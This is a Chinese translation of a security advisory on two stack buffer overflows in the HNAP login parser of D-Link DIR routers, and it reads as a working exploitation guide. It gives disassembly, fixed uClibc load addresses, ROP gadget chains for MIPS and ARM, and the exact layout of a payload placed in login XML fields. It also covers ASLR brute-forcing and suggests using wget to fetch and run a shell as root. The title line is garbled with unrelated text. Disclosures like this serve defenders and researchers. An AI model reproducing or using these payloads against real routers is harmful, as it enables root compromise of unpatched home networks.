第二个路由器dhcp自动获取(DIR路由器HNAP登录函数的多个漏洞)
第二个路由器dhcp自动获取(DIR路由器HNAP登录函数的多个漏洞)123456789101112131415161718192021222324252627parse_xml_value(char* request char* XMLtag char* tag_value)(...).text:00412264 xml_tag_value_start = $s2.text:00412264 xml_tag_value_end = $s1.text:00412264 C30 addu xml_tag_value_start $v0 $s0 # s2 now points to <Action>$value</Action>.text:00412268 C30 la $t9 strstr.text:0041226C C30 move $a1 xml_tag_value_end # needle.text:00412270
翻译:Ox9A82
预估稿费:200RMB(不服你也来投稿啊!)
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
受影响产品的背景
智能手机,笔记本电脑,平板电脑,手机,智能电视,游戏机等设备都在同一时间进行连接。这就是为什么我们设计了新的AC3200 Ultra Wi-Fi路由器。通过Tri-Band技术,使得速度高达3.2Gbps,它提供了严苛环境下必要的超级性能,使得其成为最好的家庭无线路由器。
概要
Dlink路由器在LAN接口上存在一个名为HNAP(家庭网络管理协议)的协议。这是一种允许识别,配置和管理网络设备的SOAP协议。Dlink使用这个协议来实现通过LAN口与路由器的web接口进行通信。有关HNAP的更多信息,请参见[1]和[2]。
parse_xml_value(char* request char* XMLtag char* tag_value)
(...)
.text:00412264 xml_tag_value_start = $s2
.text:00412264 xml_tag_value_end = $s1
.text:00412264 C30 addu xml_tag_value_start $v0 $s0 # s2 now points to <Action>$value</Action>
.text:00412268 C30 la $t9 strstr
.text:0041226C C30 move $a1 xml_tag_value_end # needle
.text:00412270 C30 jalr $t9 ; strstr
.text:00412274 C30 move $a0 xml_tag_value_start # haystack
.text:00412278 C30 lw $gp 0xC30 var_C20($sp)
.text:0041227C C30 beqz $v0 loc_4122BC
.text:00412280 C30 subu xml_tag_value_end $v0 xml_tag_value_start # s1 now holds the ptr to <Action>value$</Action>
.text:00412284 C30 bltz xml_tag_value_end loc_4122BC
.text:00412288 C30 addiu $s0 $sp 0xC30 xml_tag_var
.text:0041228C C30 la $t9 strncpy
.text:00412290 C30 move $a2 xml_tag_value_end # n
.text:00412294 C30 move $a1 xml_tag_value_start # src
.text:00412298 C30 addu xml_tag_value_end $s0 xml_tag_value_end
.text:0041229C C30 jalr $t9 ; strncpy # copies all chars in <Action>$value$</Action> to xml_tag_var using strncpy
.text:004122A0 C30 move $a0 $s0 # dest
.text:004122A4 C30 move $a0 a2_ptr # a2_ptr is a stack variable from hnap_main (passed as third argument to parse_xml_value)
.text:004122A8 C30 lw $gp 0xC30 var_C20($sp)
.text:004122AC C30 move $a1 $s0 # src
.text:004122B0 C30 la $t9 strcpy# copies xml_tag_var into a2_ptr using strcpy
.text:004122B4 C30 jalr $t9 ; strcpy # the stack of the calling function (hnap_main) is thrashed if 2408 bytes are sent
.text:004122B8 C30 sb $zero 0(xml_tag_value_end)
(...)
由于存在着两个溢出漏洞,因此我们有两个exp开发的选择:
1. 本地堆栈(在parse_xml_value上)可以被超过3096字节的数据溢出。即使是使用了strncpy这种溢出也会发生,因为strncpy的参数只是对XML标签中的值进行strlen得到的。
2. 或者,我们可以溢出调用函数(hnap_main)的堆栈,只需使用超过2408字节的数据即可。这是因为strcpy用于将xml_tag_var复制到由parse_xml_value接收的第三个参数,而它是一个指向hnap_main函数栈中局部变量的指针。
通过1. 进行利用要更容易一些,下面的例子将具体解释利用该如何进行。
所有受影响的MIPS设备使用相同版本的uClibc(libuClibc-0.9.30.3.so)并且都将其加载到0x2aabe000地址,这使得固件版本对利用来说并不重要。应该注意的是,MIPS设备使用基于Lextra RLX5281核心的RTL8881a CPU。Lextra RLX核心是MIPS的克隆版本,但它有一些缺陷,因为它们缺少一些加载和存储指令。由于这个原因,工作在MIPS上的一些通用shellcode可能无法工作在这些CPU(特别是经过混淆的)上。
这些设备不具有NX,ASLR或任何其他的现代内存保护机制,所以shellcode可以直接在堆栈上执行。但是,有必要通过ROP来设置堆栈以供执行,这可以通过libuClibc-0.9.30.3.so中的gadgets来实现。
由于MIPS CPU的工作方式,因此有必要在执行exp之前清除CPU的高速缓存。这可以通过调用libc中sleep()函数来强制清除。(参考http://blog.emaze.net/2011/10/exploiting-mips-embedded-devices.html关于MIPS CPU缓存的解释)。
所以ROP链和shellcode看起来像:
1234567891011121314151617181920212223 | first_gadget - execute sleep and call second_gadget .text:0004EA1C move $t9 $s0 <- sleep() .text:0004EA20 lw $ra 0x20 var_4($sp) <- second_gadget .text:0004EA24 li $a0 2 <- arg for sleep() .text:0004EA28 lw $s0 0x20 var_8($sp) .text:0004EA2C li $a1 1 .text:0004EA30 move $a2 $zero .text:0004EA34 jr $t9 .text:0004EA38 addiu $sp 0x20 second_gadget - puts stack pointer in a1: .text:0002468C addiu $s1 $sp 0x58 .text:00024690 li $s0 0x44 .text:00024694 move $a2 $s0 .text:00024698 move $a1 $s1 .text:0002469C move $t9 $s4 .text:000246A0 jalr $t9 .text:000246A4 move $a0 $s2 third_gadget - call $a1 (which now has the stack pointer): .text:00041F3C move $t9 $a1 .text:00041F40 move $a1 $a2 .text:00041F44 addiu $a0 8 .text:00041F48 jr $t9 .text:00041F4C nop |
当崩溃发生时,栈指针指向xml_tag_value[3128]。为了给shellcode留出更大的空间(3000 字节),可以跳到xml_tag_value[0]中。
123 | prep_shellcode_1 = 23bdf3c8 # addisp sp -3128 prep_shellcode_2 = 03a0f809 # jalrsp branch_delay = 2084f830 # addia0 a0 -2000 (NOP executed as a MIPS branch delay slot) |
最终的Action/Username/LoginPassword/Catpcha 的XML标签值将是:
1 | shellcode 'a'*(3072 - shellcode.size) sleep() '1'* 4 '2'* 4 '3'* 4 third_gadget first_gadget 'b'* 0x1c second_gadget 'c '* 0x58 prep_shellcode_1 prep_shellcode_2 branch_delay |
'a','b'和'c'只是用于填充缓冲区的,而'1111','2222'和'3333'将是寄存器s1、s2、s3的值(这些寄存器对于exp是无用的),其余的是ROP链,shellcode和栈初始化程序。在payload中唯一不能发送的坏字节是空字节,因为这是一个str(n)cpy函数造成的溢出。最多可以发送3350个字符,因为超出之后很难去控制溢出的可靠性。注意,所有的这些利用的都是strncpy造成的第一个缓冲区溢出,但是第二个缓冲区溢出可以通过类似的方式进行利用。
如前面所述,由于使用了不完整的MIPS内核,因此在网上找到的通用shellcode可能会失败。可以通过做一些微小的工作来解决它,但是最好的方法是去制作一个可靠的shellcode。如果没有使用编码器的话,Metasploit生成的简单的bind shell似乎就可以稳定的工作。
123456789101112131415161718192021222324 | ----------------------- ARM exploitation ----------------------- The same two stack overflows affect ARM but require less bytes to overflow the stack. The following snippet is the same part of parse_xml_value as shown for MIPS (taken from firmware 2.03b01 for the DIR-868 Rev. B): .text:00018F34 C30 LDR R1 [R11 #src] ; src .text:00018F38 C30 LDR R2 [R11 #n] ; n .text:00018F3C C30 SUB R3 R11 #-xml_tag_var .text:00018F40 C30 SUB R3 R3 #4 .text:00018F44 C30 SUB R3 R3 #4 .text:00018F48 C30 MOV R0 R3 ; dest .text:00018F4C C30 BL strncpy ; first overflow occurs here (xml_tag_var in parse_xml_stack) with 1024 characters .text:00018F50 C30 MOV R3 #0xFFFFFBEC .text:00018F58 C30 LDR R2 [R11 #n] .text:00018F5C C30 SUB R1 R11 #-var_4 .text:00018F60 C30 ADD R2 R1 R2 .text:00018F64 C30 ADD R3 R2 R3 .text:00018F68 C30 MOV R2 #0 .text:00018F6C C30 STRB R2 [R3] .text:00018F70 C30 SUB R3 R11 #-xml_tag_var .text:00018F74 C30 SUB R3 R3 #4 .text:00018F78 C30 SUB R3 R3 #4 .text:00018F7C C30 LDR R0 [R11 #a2_ptr] ; a2_ptr is is a stack variable from hnap_main .text:00018F80 C30 MOV R1 R3 ; src .text:00018F84 C30 BL strcpy ; second overflow occurs here |
与MIPS的二进制文件相比,parse_xml_value和hnap_main的栈大小会变得更小。这一次,parse_xml_value中的strncpy溢出更容易被利用,只需要1024字节就足以溢出堆栈。与MIPS漏洞利用相同的是,唯一的坏字节是空字节。
受影响的ARM设备具有不可执行堆栈(NX)和32位ASLR的保护。 NX可以用ROP来关闭,而32位的ASLR很弱 - 地址中通常只有3个字节会发生变化,这意味着只有4096种可能。攻击需要执行多次,直到命中了正确的基地址,但这通常可以在少于1000次尝试中实现。
最容易进行的攻击是通过return-to-libc来调用system()函数执行命令。为此,R0在调用system()函数之前必须要指向命令所在的栈内存地址。所有受影响的ARM设备无论是何种固件版本的都使用相同的uClibc(libuClibc-0.9.32.1.so),这使得寻找gadgets更加容易,并允许构建一个可以在所有设备上使用的漏洞exp,并而无需进行任何修改。
1234567891011121314 | first_gadget (pops system() address into r3 and second_gadget into PC): .text:00018298 LDMFD SP! {R3 PC} second_gadget (puts the stack pointer into r0 and calls system() at r3): .text:00040CB8 MOV R0 SP .text:00040CBC BLX R3 system() (Executes argument in r0 (our stack pointer) .text:0005A270 system The final Action / Username / LoginPassword / Catpcha XML parameter value will be: 'a' * 1024 0xffffffff 'b' * 16 'AAAA' first_gadget system() second_gadget command a / b = filler 0xffffffff = integer n (see below) AAAA = R11 first_gadget = initial PC payload = stack points here after execution of our ROP chain; it should point to whatever we want system() to execute |
当溢出发生时,栈上局部变量“n”被覆盖,这个局部变量是用于计算内存地址的(见0x18F58)。为了避免在shellcode执行之前该进程就发生崩溃,这个变量需要被设置为一个有效内存地址。一个比较好的候选值是0xffffffff,因为这将从计算的内存地址中减去1,以防止无效的内存访问。
从这一点出发,可以在payload中执行任何命令。例如,wget可以用于下载shell并执行,或者可以启动telnet服务器。所有命令将以root权限来执行。
修复建议
Dlink并没有响应CERT的请求,因此在撰写本文时并没有可用的固件补丁。
鉴于此漏洞只能在LAN中进行利用,所以建议使用高强度的wifi密码,以防止不受信任的客户端连接到路由器。
参考链接
[1] https://isc.sans.edu//diary/More on HNAP - What is it How to Use it How to Find it/17648
[2] https://en.wikipedia.org/wiki/Home_Network_Administration_Protocol
[3] http://www.devttys0.com/2015/04/hacking-the-d-link-dir-890l/
[4] http://www.devttys0.com/2015/04/what-the-ridiculous-fuck-d-link/
[5] http://www.devttys0.com/2014/05/hacking-the-d-link-dsp-w215-smart-plug/
[6] https://packetstormsecurity.com/files/134370/D-Link-DIR-818W-Buffer-Overflow-Command-Injection.html
[7] https://dl.packetstormsecurity.net/papers/attack/dlink_hnap_captcha.pdf
[8] http://www.dlink.com/uk/en/support/support-news/2015/april/13/hnap-privilege-escalation-command-injection
[9] https://github.com/rapid7/metasploit-framework/pull/7543
[10] https://www.kb.cert.org/vuls/id/677427